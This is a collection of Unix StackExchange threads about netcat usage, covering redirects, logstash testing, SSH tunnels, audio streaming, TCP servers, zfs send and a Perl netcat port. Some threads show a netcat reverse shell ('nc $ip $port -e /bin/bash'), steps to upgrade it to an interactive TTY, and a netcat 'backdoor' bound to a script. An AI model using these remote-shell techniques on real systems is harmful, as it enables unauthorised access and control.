EDIT: I'm on RHEL 5.3 (Tikanga).
|
The problem is that you're using shell redirects to read from and write to the same file. Check p afterwards, it will be empty as well. The shell opens it in read mode, truncating the file, while it's setting up the pipeline before it runs the commands. However, using tee, since it opens the file itself, means that the file isn't truncated until after the contents have been read for the input. This is a well known and documented behavior and the reason you can't simply use redirects to make inline changes to files.
| Different redirection styles with netcat and tee giving different results |
1,408,506,600,000 |
I have set-up an ELK server in testing environment. I intend to send log messages from different clients to ELK, but first i want to test it from localhost to verify it running properly.
Previously i had directly , used a python library to interact with elastic-search (since there was a problem in using urllib2 , 400 bad request) , but this time i want to send the message to log-stash and let the log-stash deal with it before it goes to Elastic Search.
I used netcat , but there is some problem with the port number:
echo "access denied" | nc localhost 5514
Ncat: Connection refused.
Seems like there is nothing on this port. The logstash service is running.
|
You could use logger with the -P switch to set your port to 5514.
Check man logger for other suitable switches, eg -t.
echo "access denied" | logger -t myservice -P 5514
To check if port 5514 is currently associated with logstash, lsof -i :5514, or check logstash startup logs (meta!). Are you certain your logstash is using that particular port?
| How to pipe a sample log message manually to logstash for processing |
1,408,506,600,000 |
I am using Ubuntu server 16.04.3, it comes with the OpenBSD version of netcat.
I have used the OpenBSD version of netcat before in Fedora, and in Fedora I can't use the -p option with the -l option, for example the following is illegal:
nc -l -p 12345
But in Ubuntu server 16.04.3, the above command worked (by "worked", I mean netcat started listening)!
Even though man nc on Ubuntu server 16.04.3 itself says that it is illegal:
Why is this happening?!
|
This is happening because the Debian/Ubuntu version of "netcat-openbsd" is not in fact the OpenBSD code. It is the OpenBSD code significantly patched with Debian/Ubuntu changes, which have not been sent back to the maintainers of the original software.
One of those changes, written by Debian person Aron Xu, makes it possible to use the -p option with the -l option. As is alas usual, this patch is a half-done job, and does not fix the doco to match the program.
With the vanilla programs, this is impossible, as documented.
Further reading
https://anonscm.debian.org/cgit/collab-maint/netcat-openbsd.git/log/debian/patches/0011-misc-failures-and-features.patch
https://anonscm.debian.org/cgit/collab-maint/netcat-openbsd.git/tree/debian/patches/misc-failures-and-features.patch
| Weird netcat (OpenBSD version) behavior |
1,408,506,600,000 |
I am used to forwarding a remote service port on localhost using ssh like:
ssh -L 2181:localhost:2182 user@server
(forward remote host port 2182 to local port 2181)
now, from the machine I ssh to, I am trying to reach a tcp service and forward the response to my local machine:
local-machine:2181 <-- SSH --> remote-machine:2182 <-- netcat/named pipe --> service:2181
Note: I do not have direct access to the service machine, I only have access to the network through the machine I SSH to.
I was trying to use netcat with a named pipe:
On the remote-machine:
mkfifo fifo
nc -k -l 2182 <fifo | nc service 2181 >fifo
On local machine:
echo message | nc localhost 2181
but that doesn't seem to work.
I also tried, on remote-machine
nc -k -l 2182 0<fifo | nc service 2181 1>fifo
without luck
On the remote machine nc -k -l 2182 outputs the message I send from the local-machine:2181
if I simply pipe this like: nc -k -l 2182 | nc service 2181
I do see the response from the service on the remote-machine. So I'm able to go all the way to the service and back to the remote-machine but it stops there:
local-machine:2181 <-/- SSH --> remote-machine:2182 <-- netcat --> service:2181
so I don't understand why the named pipe won't forward the response through the ssh connection back to my local machine.
echo message | nc localhost 2182 on the remote-machine does NOT output anything back on the local-machine, so it's not making it through SSH for some reason.
Any idea why this is and how to fix it?
Thanks for help.
|
as pointed by @ysdx
the simple solution is:
ssh -L 2181:service:2182 user@server
| named pipe proxy over SSH [closed] |
1,408,506,600,000 |
I want to pipe and live play the sound recorded on my raspberry to my MacBook. I've tried the following:
On My raspberry:
I tried to establish a data stream on a port 3333
arecord -D plughw:3,0 -f S16_LE 44100 -t raw | nc -l -p 3333
On my MacBook:
nc 10.10.1.1 3333 | play -t raw -b 16 -e signed-integer -r 44100 -c 1 -V1 -
With this I can't hear anything on my Mac but getting this output in the terminal:
-: (raw)
File Size: 0
Encoding: Signed PCM
Channels: 1 @ 16-bit
Samplerate: 44100Hz
Replaygain: off
Duration: unknown
In:0.00% 00:00:00.00 [00:00:00.00] Out:0 [ | ] Clip:0
Done.
|
I can't really tell you what goes wrong with your setup in your specific case; you'd want to check whether your nc actually receives data (e.g. by writing to a file, or by piping through pv), and whether your arecord actually captures sound (by writing to a file instead of piping to nc).
Also, not sure that 44100 Hz is an elegant sample rate; most hardware these days natively does 48000 and you're just letting ALSA convert that to 44100 Hz.
What's more important is that you should probably use a sensible transport framer, to allow the receiving end to properly align time, compensate dropped, drop late or reorder packets, learn about the stream format itself. I use MPEG Transport Stream as stream format, as used by things like digital video broadcasting, and other multimedia streaming platforms.
In the wake of that, using TCP for low-latency transport is probably not a great idea, either. You'll also want to limit the transmit buffer size that your network sink uses (in this case, the nc on the RPi). All in all, arecord | nc might simply not be the best streaming approach. Also, in your approach, you get at least as much latency as it takes for the receiving end to start after your sender has been started and ready to connect
What I do when I quickly capture some audio and need to get it into a different machine, mostly for web conferencing reasons, is do the following on the "microphone machine":
ffmpeg \
-f alsa -channels 1 -sample_rate 24000 -i pipewire \
-f mpegts -max_packet_size 1024 \
-c:a libopus -b:a 64k -vbr off -packet_loss 10 -fec on \
udp://127.0.0.1:1234
let's take that apart:
ffmpeg: the program we're running, FFmpeg. Pretty much the standard transcoding/streaming/decoding solution on most platforms.
input options:
-f alsa: the input type ("format") is alsa, i.e. we're grabbing sound from the alsa sound system
-channels 1: optional I only want mono sound. Omit to use whatever your sound device gives you (probably stereo?), or set to different value if you want to specifically want to capture a different number of channels
-sample_rate 24000: optional I'm mostly concerned with speech in which case a 24 kHz sampling rate is much more than enough for excellent audio quality (I'm not a bat, my voice doesn't go much above 1.2 kHz…).
-i pipewire: capture from the pipewire ALSA device. In your case, plughw:3,0, it seems. (check available capture devices with arecord -L)
output format options:
-f mpegts: after -i we're done with describing the input, so this -f describes the output format. We're streaming MPEG transport stream.
-max_packet_size 1024: optional we force the streamer to emit a packet every 1024 bytes. That limits transmit-side latency
audio codec options: optional
-c:a libopus: optional c is short for codec, a for audio, and here we use the libopus` encoder. OPUS is a mature, web-standard audio encoder with low-complexity and with high-quality settings.
-b:a 64k: optional, but we're setting the encoded bitrate to 64kb/s. That's fairly high-quality, but pretty OK in compute power (think 5% to 20% of one core, at most)
-vbr off: optional Force constant (as opposed to variable` bitrate). This makes sense if you plan to stream over a limited-bandwidth link and can't have encoding having short spikes of high rate. Omit on LAN.
-packet_loss 10: optional set up the redundancy in packets such that it's OK if 1 in 10 packets gets lost. Makes this robust on connections with occasional packet drops, like some internet connections, some wireless connections etc. Omit on LAN.
-fec on: optional after having set the redundancy amount, we also want to actually enable sending of this redunandy for forward error correction purposes. Only makes sense with -packet_loss > 0.
output options:
udp://127.0.0.1:1234 IP address and port to stream to. Attention! Here the receiver is the listening part, and the transmitter is a UDP socket, so it just pushes out the audio stream with no care for whether someone picks it up. The advantage here is that you can attach and de-attach the receiver as often as you like.
On the receiving end, we'll open a listening socket:
ffplay -f mpegts -nodisp -fflags nobuffer udp://127.0.0.1:1234
-nodisp turns of the display (we are not streaming video), -fflags nobuffer makes the input stream parser not try to catch up on old things (i.e., avoids the "late listener" delay you'd get without).
Note that in this scenario, the playing end is the server, which opens the listening socket (as your nc -l did). You can also turn this around, if you want, using zmq:tcp:// where you used udp:// on both sides before, and get the ability to connect multiple listeners to your serving "recorder" pi.
You are of course also absolutely free to use nc -u -l -p 1234 | … instead, if … is a program that understands MPEG TS.
| Piping live sound from raspberry pi to macOS |
1,408,506,600,000 |
I have 4 programs, will be increased in the future, these programs have to connect to the same ip:port to send and receive messages at the same time.
Until now I have the socket opened, I also would like to keep the connection alive between the programs and the server.
#!/bin/sh
nc -lvk 88.109.110.161 100 > port100.txt 2>&1
|
nc does not handle multiple connected clients in parallel and is the wrong tool for this job.
There are quite a few right tools for this job, including:
Bernstein tcpserver (original or djbwares) or Hoffman tcpserver:tcpserver -v -R -H -l 0 88.109.110.161 100 sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
my tcpserver shim:tcpserver -v 88.109.110.161 100 sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
my UCSPI-TCP tools:tcp-socket-listen 88.109.110.161 100 tcp-socket-accept --verbose sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
Bercot s6-tcpserver4:s6-tcpserver4 -v 2 88.109.110.161 100 sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
Bercot s6-networking tools:s6-tcpserver4-socketbinder 88.109.110.161 100 s6-tcpserver4d -v 2 sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
Pape tcpsvd:tcpsvd -v 88.109.110.161 100 sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
Sampson onenetd:onenetd -v 88.109.110.161 100 sh -c 'exec cat 1>&2' 2>&1 |
cyclog port100/
And one can substitute multilog, s6-log, svlogd, or tinylog for cyclog.
Further reading
Protocol:
Jonathan de Boyne Pollard (2016). The gen on the UNIX Client-Server Program Interface. Frequently Given Answers.
Daniel J. Bernstein (1996). UNIX Client-Server Program Interface. cr.yp.to.
toolsets:
Daniel J. Bernstein. ucspi-tcp. cr.yp.to.
Erwin Hoffmann. ucspi-tcp6. fehcom.de.
s6-networking. Laurent Bercot. skarnet.org.
Jonathan de Boyne Pollard (2019). nosh. Softwares.
Jonathan de Boyne Pollard (2019). djbwares. Softwares.
ipsvd. Gerrit Pape. smarden.org.
onenetd. Adam Sampson. offog.org.
reference manuals:
Daniel J. Bernstein. The tcpserver program. ucspi-tcp.
Erwin Hoffmann. tcpserver. ucspi-tcp6. fehcom.de.
s6-tcpserver4. Laurent Bercot. s6-networking. skarnet.org.
tcpsvd. ipsvd. Gerrit Pape. smarden.org.
Jonathan de Boyne Pollard (2019). tcpserver. djbwares. Softwares.
Jonathan de Boyne Pollard (2019). tcp-socket-listen. nosh Guide. Softwares.
Jonathan de Boyne Pollard (2019). tcp-socket-accept. nosh Guide. Softwares.
Jonathan de Boyne Pollard (2019). tcpserver. nosh Guide. Softwares.
Logging:
https://unix.stackexchange.com/a/340631/5132
https://unix.stackexchange.com/a/505854/5132
| How to use bash to create a socket server and allow multiple clients in the same port? |
1,408,506,600,000 |
I want to store the output from an netcat function into a variable. I tried a lot of different ways, but it doesn't work to me. Can someone help me?
The whole scripting thing is whole new for me!
#! /bin/sh
while true;do
var = "$(echo "RDTEMP1" | netcat -q2 sanderpi 5033)"
echo &(var)
echo "$(date +%Y-%m-%d%t%H:%M:%S)"
done
|
In shell, setting variables would be done with:
var1=toto
var2="$(echo toto | othercommand)"
You can't have spaces between your variable name, the equal character and the value you're assigning your variable with.
Then, to echo a variable, you would do:
echo $var
echo "$var"
echo "${var}"
The & character, in bash/sh, is used for "job control", which is yet another topic, ...
Start by using the following instead, tell us how it goes:
#! /bin/sh
while true;do
var="$(echo "RDTEMP1" | netcat -q2 sanderpi 5033)"
echo "$var"
echo "$(date +%Y-%m-%d%t%H:%M:%S)"
done
| Store netcat output into variable |
1,408,506,600,000 |
I can't find the list of commands for GNU Netcat.
But they say on their official website the following:
Goals of this project are full compatibility with the original nc 1.10
that is widely used, and portability.
So this means that their commands are the same as nc 1.10, right? But is nc 1.10 considered to be netcat-openbsd or netcat-traditional?
|
nc 1.10 is netcat-traditional, which was released by Avian Research and last updated “officially” in 1996. It’s been extensively patched since then, and GNU Netcat was started as a development branch of Avian Netcat.
(This is based on information contained in the Debian package.)
GNU Netcat doesn’t appear to have been developed much; OpenBSD Netcat is the more interesting alternative nowadays.
| Are the GNU Netcat commands the same as netcat-openbsd or netcat-traditional? |
1,408,506,600,000 |
I want to create an echo server without specifying any of my commands inside strings. I want all commands to be connected by pipes.
This doesn't appear possible because the response gets returned before the request can be passed to the response generating logic. It seems I could use ncat but I also would prefer to avoid that.
I thought it might be possible with a fifo queue but I'm having trouble getting this to work.
The "What I'm trying to do" part
Attempting to justify these restrictions is challenging with my limited verbal skills. But my ultimate goal is to maintain a master script of all my application logic with the convenience of xinetd (but without daemons). Such a master script might have dozens of lines like these:
nc -l 8080 | get_person_name.sh | create_insert_statement.sh | sqlplus
nc -l 8081 | get_person_id.sh | create_select_statement.sh | sqlplus
The 2nd one won't work because it won't be able to return the output to the client. So I'm reducing the problem to implementing an echo server with netcat. I don't want to use strings because all those commands will be dynamic and I just don't want to deal with that extra level of indirection (for a start, my text editor will have far less useful syntax highlighting). I'd be open to a here document solution though.
|
This does what I want:
Server:
mkfifo fifo
cat fifo | nc -k -l 4458 -v | cat > fifo
Client:
echo "45" | nc localhost 4458
| netcat echo server - possible with pipes instead of commands as strings? |
1,408,506,600,000 |
How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing?
Suppose I start a remote (reverse) shell using Netcat as follows:
nc -lvp $port
nc $ip $port -e '/bin/bash'
Now, what I get is a shell without TTY, tab-completion, line-editing, or history. That is, the left, up, right, and down keyboard keys results in ^[[D,^[[A,^[[C,^[[B, resp, and pressing ^C causes the shell to terminate:
$ tty
not a tty
Now, it's fairly simple to start a PTY for the shell, so that commands like su may run. However, the shell still lacks essential features (see above) that one expects from a normal login shell.
If possible, how can the Netcat initiated shell be upgraded to something that resembles a normal login shell? Please, explain the steps.
|
You cannot "upgrade" an already running shell.
You can however
a) create a pty and run another shell in it with script /dev/null
b) fiddle with your local terminal so it doesn't intepret the intr, eof, eol and other keys specially, but pass them through.
$ nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
[ncat -4 localhost 9999 -e /bin/bash in another terminal]
Connection from localhost 36790 received!
exec script /dev/null
Script started, file is /dev/null
bash-4.4$
[press Control-Z]
[1]+ Stopped nc -lvp 9999
s=$(stty -g); stty -icanon -echo -isig; fg; stty "$s"
[press Enter]
bash-4.4$
[now history and control keys work as expected
you may also want to set the correct name with TERM=
and the correct size with stty rows R cols C
press Control-D to terminate the shell]
Anyways, this netcat game is pretty pointless and ridiculous; who really wants to run shell sessions through unecrypted connections? We already used to have things like ssh back in 2019.
| How can I upgrade a primitive Netcat shell to a fully-featured login shell with tab-completion and line editing? |
1,408,506,600,000 |
I have opened a service:
nc -l -p 1234 -e service.sh
If someone connects to this service.
nc xxx.xxx.xxx.xxx 1234
Can this connection be found in any Linux log file?
|
No, network connections are not logged by Linux by default. You can view current connections with a variety of tools, e.g. sudo lsof -P -n -i, but the system does not keep a history of network connections--that's up to the application. Web servers, ssh, mail servers, etc. all do this in their own ways, but nc is designed more for testing than production and does not have logging. If you want to log nc connections, you could use iptables or network sniffing tools or add logging to service.sh.
As an additional assurance that the connection is not being logged by the system, use a unique port number, e.g. nc -l -p 58404 -e service.sh, make a connection to this from another computer, and then search through all of your system logs for that port number:
sudo find /var/log -type f -exec zcat -f {} + |grep 58404
sudo journalctl |grep 58404
| Are netcat connections stored to any log file in Linux? |
1,408,506,600,000 |
Yesterday I asked a question about catting a file over a UDP socket in bash.
The solution we came up was netcat -c -w 1 -v -u -s 127.0.0.1 239.255.0.1 30001 < test.txt. This worked in the sense that it sent the packets, but there's a problem.
The source file isn't strictly a text file. It's actually a binary file -- the content is mostly text, with embedded non-printable characters and no \n lineendings. Instead, the control character ^C (0x03) is used as a line delimiter.
When netcat was sending packets, it would send as much as possible in a single UDP frame. But I want it to send one UDP frame per ^C-delimited mesasge in the source file.
For example, if my file consists of:
foo^Cbar^Cbaz^C
using netcat would result in one UDP frame being sent. What I want is to send 3 messages:
foo^C
bar^C
baz^C
Is there a way to accomplish this?
I have tried a number of possible solutions, but nothing's worked.
For one I've tried sedding the source file to replace the ^C with ^C\n, but that had no effect:
sed 's/^C/^C\n\0/g' test.txt | netcat -n -vv -c -w 1 -v -u -s 127.0.0.1 239.255.0.2 30002
I also tried catting the files to /dev/udp/ instead of using netcat, but the results were similar.
cat test.txt > /dev/udp/239.255.0.2/30002
Finally I tried using awk to print one line at a time and redirecting that to /dev/udp, but the results were really the same.
It appears that both netcat and cat > /dev/udp both buffer the input until it has a full frame, then sending the frame. That's not what I want.
Can I flush the udp buffer, or some other way send one UDP message per ^C-delimited message in the source file?
|
gawk -v 'RS=\03' -v cmd='
socat -u - udp-datagram:239.255.0.1:30001,bind=127.0.0.1' '
{print $0 RT| cmd; close(cmd)}' < file
should work as long as there's not more than 8k in between two ^Cs.
That runs one socat command per record (records being ^C delimited via the record separator variable), with the record plus the record terminator fed to socat via a pipe.
socat reads 8192 bytes at a time, so it's as large a packet it sends can get.
gawk writes to the pipe as a full record per write(2).
Using gawk instead of awk here to make sure it handles NUL bytes properly.
| cat file to udp, pt 2: send 1 udp packet per ^C-delimited line |
1,408,506,600,000 |
Q: Why does the second iteration exits after 10.175.192.16? Can someone explain that? Or I just found a "while/netcat" bug?
a.txt's content:
$ cat a.txt
10.175.192.14
10.175.192.16
10.175.192.17
$
First iteration, this is ok, just outputs the file content:
$ while read oneline; do echo $oneline; done < a.txt
10.175.192.14
10.175.192.16
10.175.192.17
$
Second iteration, this is bad, it exists when coming to 10.175.192.16:
$ while read oneline; do nc -w 3 "$oneline" 22 >& /dev/null; echo $oneline; done < a.txt
10.175.192.14
10.175.192.16
$
Exit codes:
$ nc -w 3 "10.175.192.14" 22 >& /dev/null; echo $?
1
$ nc -w 3 "10.175.192.16" 22 >& /dev/null; echo $?
0
So there is no SSH server behind 10.175.192.14. But there is one behind 10.175.192.16. But the "while" iteration shouldn't exit before going through all the lines, no? Why does it miss 10.175.192.17? What am I missing here?
My main purpose is that I'm having a file (a.txt) that contains IP addresses. I need to sort these IP addresses in two files:
A) The ones that are reachable (ssh is prompting, so server is available)
B) The ones that are not reachable (timeout after 3 seconds, because there aren't anything listening on port 22)
"reachable" means that are there anything listening on port 22 behind the IP.
|
I think I have an answer: when nc tries an IP address that has a server listening on port 22 (which is typically SSH server), it reads the rest of the input and passes it to the server on port 22. The SSH server I have running on my home machines just eats the input.
The nc I have (Slackware 13.1 system) has a "-z" option, for "zero I/O". Try
nc -z -w 3 "$oneline" >& /dev/null
as the command in your while-loop. I think that other nc implementations exist. There's a GNU netcat for example, but it takes a "-z" option as well.
| Why does this shell snippet to check if hosts are up using netcat stop prematurely? |
1,408,506,600,000 |
nc -l -u 6666 on the receiving machine gets no messages from netconsole.
tested by doing "echo test > /dev/kmsg"
i am able to connect with netcat by doing "nc -u 10.0.0.192 6666" on the netconsole machine
"sudo tcpdump -i wlp170s0 -n -e port 6666" outputs nothing on the listening machine
netconsole options:
modprobe netconsole [email protected]/enp8s0,[email protected]/54:14:f3:52:82:94 oops_only=0
ifconfig on netconsole machine:
enp8s0 Link encap:Ethernet HWaddr 70:85:C2:D7:65:F3
inet addr:10.0.0.42 Bcast:10.0.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1032 errors:0 dropped:0 overruns:0 frame:0
TX packets:791 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:95338 TX bytes:230456
lo Link encap:Local Loopback
inet addr:127.0.0.1 Bcast:0.0.0.0 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 TX bytes:0
ifconfig on listening machine:
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MULTICAST MTU:65536 Metric:1
RX packets:400 errors:0 dropped:0 overruns:0 frame:0
TX packets:400 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:46289 TX bytes:46289
nfs Link encap:(hwtype unknown)
inet addr:10.8.0.3 P-t-P:10.8.0.3 Mask:255.255.255.0
UP POINTOPOINT RUNNING NOARP MTU:1420 Metric:1
RX packets:7418 errors:0 dropped:0 overruns:0 frame:0
TX packets:22098 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1806372 TX bytes:26188072
wlp170s0 Link encap:Ethernet HWaddr 54:14:F3:52:82:94
inet addr:10.0.0.192 Bcast:10.0.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2771549 errors:0 dropped:54 overruns:0 frame:0
TX packets:1029444 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3024953926 TX bytes:153598327
|
Turns out you have to increase the verbosity with dmesg -n 8
| Unable to get output from netconsole |
1,408,506,600,000 |
I have a volume with client data that is encrypted using ZFS native encryption. I was trying to send this from a Ubuntu server to a Debian server. It is not possible to receive zfs send data into encrypted volumes, so the target volume is a new one.
But now the transfer failed after a small outage, and the new container doesn't show up.
Is the received data still somewhere? Can I continue this transfer somehow?
Source
zfs snapshot pool/bigdata@bup
zfs send pool/bigdata@bup | pv | nc -l -p 5555
Target
nc -w 10 1.2.3.4 5555 | zfs receive pool/bup201710
(Where 1.2.3.4 is the source IP address.)
Note: ZoL ZFS native encryption is not available in the ZFS versions (0.6.x) that ship with Debian and Ubuntu. This feature was implemented ZoL in 2016, and only available through manual compilation. It's not in any tagged release but available from master on their github page. It is expected to be included in the tagged release of 0.8. Seen how both Ubuntu and Debian are a long way behind the very active development, many people compile ZFS themselves.
|
I don't know if it is possible with included encryption (I assume it would be), but normally you can resume failed sends with special flags send -t | recv -s, if your pool supports it (the documentation is from illumos, I assume it is the same with ZoL):
zfs send [-Penv] -t receive_resume_token
Creates a send stream which resumes an interrupted receive. The
receive_resume_token is the value of this property on the filesystem or
volume that was being received into. See the documentation for zfs
receive -s for more details.
zfs receive [-Fnsuv] [-o origin=snapshot] filesystem|volume|snapshot
zfs receive [-Fnsuv] [-d|-e] [-o origin=snapshot] filesystem
-s If the receive is interrupted, save the partially received state,
rather than deleting it. Interruption may be due to premature
termination of the stream (e.g. due to network failure or failure
of the remote system if the stream is being read over a network
connection), a checksum error in the stream, termination of the zfs
receive process, or unclean shutdown of the system.
The receive can be resumed with a stream generated by zfs send -t
token, where the token is the value of the receive_resume_token
property of the filesystem or volume which is received into.
To use this flag, the storage pool must have the extensible_dataset
feature enabled. See zpool-features(5) for details on ZFS feature
flags.
zfs receive -A filesystem|volume
Abort an interrupted zfs receive -s, deleting its saved partially
received state.
I would first try it locally (pipe, no netcat or pv) with a small system and just Ctrl-C the transfer to see if it works in principle.
| Can I resume a failed (ZoL) ZFS send over netcat? |
1,408,506,600,000 |
I'm copying dd output through netcat with the following command
$dd if=/dev/zero bs=1024K count=1 | nc <IP_ADDR> <PORT> -q 0
1+0 enregistrements lus
1+0 enregistrements écrits
1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,0590934 s, 17,7 MB/s
However when I try to parse the output nothing happens
$ dd if=/dev/zero bs=1024K count=1 | nc <IP_ADDR> <PORT> -q 0 | grep copied
1+0 enregistrements lus
1+0 enregistrements écrits
1048576 bytes (1,0 MB, 1,0 MiB) copied, 0,058937 s, 17,8 MB/s
It should print only the last line, why the output is not sent to grep?
I tried few redirections but I'm not able to have it redirected as I want.
I would like to have the data sent through netcat but having the output messages (both stderr and stdin) sent to stdout or a file to parse it afterwards.
|
In
dd if=/dev/zero bs=1024K count=1 | nc <IP_ADDR> <PORT> -q 0 | grep copied
there's no way that dd status output could go to grep. grep is reading the output of nc, not dd. If dd wrote that output on its stdout, it would go to nc, not grep.
Thankfully dd does not write that status message to its stdout (otherwise it would be sent to <IP_ADDR> which we don't want), but it writes it on a separated stream: stderr (as it's a diagnostic message, not part of its normal output).
To have dd's stderr connected to a pipe that goes to grep (and nc's stdout+stderr unchanged), you could do:
{ {
dd if=/dev/zero bs=1M count=1 2>&3 3>&- |
nc -q 0 <IP_ADDR> <PORT> 3>&-
} 3>&1 >&4 4>&- | grep copied 4>&-; } 4>&1
Assuming the shell's stdin/stdout/stderr go to I, O, E (all would be the tty device open in read+write mode if run from a terminal), in the above we would have:
cmd \ fd | stdin stdout stderr 3 4
---------+------------------------------------
dd | I pipe1 pipe2 closed closed
nc | pipe1 O E closed closed
grep | pipe2 O E closed closed
Or to have the stderr of dd and the stdout+stderr of nc go to grep (but the stdout of dd still go to nc):
{
dd if=/dev/zero bs=1M count=1 |
nc -q 0 <IP_ADDR> <PORT>
} 2>&1 | grep copied
Our table of fd assignment per command becomes:
cmd \ fd | stdin stdout stderr
---------+--------------------
dd | I pipe1 pipe2
nc | pipe1 pipe2 pipe2
grep | pipe2 O E
Yet another approach:
{
dd if=/dev/zero bs=1M count=1 2>&1 >&3 3>&- |
grep copied >&2 3>&-
} 3>&1 | nc -q 0 <IP_ADDR> <PORT>
cmd \ fd | stdin stdout stderr 3
---------+-----------------------
dd | I pipe1 pipe2
nc | pipe1 O E
grep | pipe2 E E
But note that that output won't be very relevant. That 1MiB of data will probably fit in the pipe buffer, nc's internal read buffer and the socket send buffer, so you won't be really timing the network throughput. It's likely dd will return before the first data packet is sent over the network (shortly after the TCP connection has been enabled and nc starts reading its stdin). Look at iperf instead for that.
Without iperf, you could get a better measurement of sending throughput if you did something like:
{
dd bs=1M count=50 2> /dev/null # buffers filled and the TCP connection
# established and into a steady state
dd bs=1M count=100 2>&1 >&3 3>&- | grep copied >&2 3>&-
} < /dev/zero 3>&1 | nc -q 0 <IP_ADDR> <PORT>
| Separate dd data from output through netcat to parse output |
1,408,506,600,000 |
I'm trying to open a port on remote system using ssh & netcat like this:
ssh [email protected] 'netcat -l 7777 &'
but it waits to show output and doesn't go to background!
I tried nohup before netcat but got same result;
How can I run netcat in background using ssh on remote system?
|
You can use this:
ssh -f [email protected] "sh -c 'netcat -l 7777 > /dev/null 2>&1 &'"
Check this thread.
| How send a command to background using ssh on remote system |
1,408,506,600,000 |
I'm using netcat to create a backdoor running a python script with the following command:
netcat -l -p 1234 -e 'python /script.py'
then I'm connecting to the backdoor with another shell using:
netcat localhost 1234
script.py is a simple loop that reads input, saves it to a file, and then prints it back. Now whatever I write in the second shell goes to the script and is successfully saved to a file. However, I don't see the output of the script on the second shell. I tried both the print and sys.stdout.write methods of python and both seem to fail. I don't know why the output is relayed back to the second shell if I use this:
netcat localhost 1234 /bin/bash
But not with my script. I'm obviously missing something important. Here is my script:
import sys
while 1:
kbInput = sys.stdin.readline()
sys.stdout.write( 'Input: '+kbInput)
f = open("output.txt", "w")
f.write(kbInput)
f.close()
print
|
Your writes to stdout are being buffered by python, and only written when the buffer is full. There are 2 simple fixes:
Add the -u option to your python command to ask for unbuffered output ('python -u /script.py').
Alternatively, flush the output after each write. In your example, after the line sys.stdout.write( 'Input: '+kbInput) add the line:
sys.stdout.flush()
| 'netcat -e' not relaying stdout |
1,408,506,600,000 |
I'm trying to leave netcat running and close the ssh session (even stop the ssh daemon). But it then exits before all of the data is written. I'm testing in a non-ssh (local) console:
nohup nc -l -p 4000 | dd of=/home/myname/test.txt 2>/run/user/myname/stderr 1>/run/user/myname/stdout &
To test it, I close the console and in another console I dump a file:
dd if=/var/log/Xorg.0.log | nc localhost 4000
Nothing gets written in /home/myname/test.txt. But if I remove the nohup command, test.txt contains all data dumped. How to get netcat working and detached from the console ?
|
OK, I dug it down: nohup runs the program with standard input redirected from /dev/null. So the dd command won't get anything from nc and nc probably will fail to write & close itself on first write tried.
So first we need to create a named pipe to route the I/O via:
mkfifo my.pipe
then run dd with input file from the pipe:
nohup dd if=./my.pipe of=./test.txt 2>/run/user/myname/stderr 1>/run/user/myname/stdout &
Now we can feed the pipe with data from the network. Unfortunately netcat won't do it, because it writes to stdout and this isn't available under nohup.
I have to modify the source of netcat. To be easier (w/o C compiler), I'll take a perl loose port to netcat, called also "Poor man's Netcat"...O.K... I rewrote it, adding a file I/O feature with -f parameter. So here's the source:
#! /usr/bin/perl
# Poor man's Netcat, the famous "TCP/IP swiss army knife"
# Only the basic functions are replicated :
# - TCP only
# - only : "hostname port" or "-l" with "-p port"
# but with *extended* functionality for direct file I/O by "-f file"
use strict;
use warnings;
use IO::Socket;
use Getopt::Long;
my $help='';
my $verbose;
my $local_port;
my $listen='';
$main::file_io='';
$SIG{CHLD} = 'IGNORE';
my $result = GetOptions(
"help|h" => \$help,
"verbose|v" => \$verbose,
"local-port|p=i" => \$local_port,
"listen|l" => \$listen,
"file-io|f=s" => \$main::file_io,
);
if ($help eq '' && $listen eq '' && (scalar @ARGV < 2) ) {$help = 1;}
if ($help) {
print STDERR "Perl loose port of netcat(1)\n";
print STDERR "usage : $0 [-p local_port] hostname port [-f file-for-input] (client)\n";
print STDERR " or : $0 -l -p local_port [-f file-for-output] (server)\n";
exit(1);
}
# No need to close the socks as they are closed
# when going out-of-scope
if ($listen)
{ if (! $local_port) { die "You must specify the port to listen to in server mode\n";}
# server mode
my $l_sock = IO::Socket::INET->new(
Proto => "tcp",
LocalPort => $local_port,
Listen => 1,
Reuse => 1,
) or die "Could not create socket: $!";
my $a_sock = $l_sock->accept();
$l_sock->shutdown(SHUT_RDWR);
read_from_network($a_sock); #server mode - calling read_data
} else
{ #client mode
if (scalar @ARGV < 2) { die "You must specify where to connect in client mode\n";}
my ($remote_host, $remote_port) = @ARGV;
my $c_sock = IO::Socket::INET->new(
Proto => "tcp",
LocalPort => $local_port,
PeerAddr => $remote_host,
PeerPort => $remote_port,
) or die "Could not create socket, reason: $!";
write_to_network($c_sock);
}
sub read_from_network
{
my ($socket) = @_; my $output_fh;
if($main::file_io ne '')
{
open($output_fh, ">", $main::file_io) or die "Can't open $main::file_io : $!";
} else { $output_fh = *STDOUT;}
close(STDIN);
copy_data_mono($socket, $output_fh);# *STDOUT
$socket->shutdown(SHUT_RD);
close($output_fh); close(STDOUT);
}
sub write_to_network
{
my ($socket) = @_;
my $input_fh;
if($main::file_io ne '')
{
open($input_fh, "<", $main::file_io) or die "Can't open $main::file_io : $!";
} else { $input_fh = *STDIN;}
close(STDOUT);
copy_data_mono($input_fh,$socket);
$socket->shutdown(SHUT_WR);
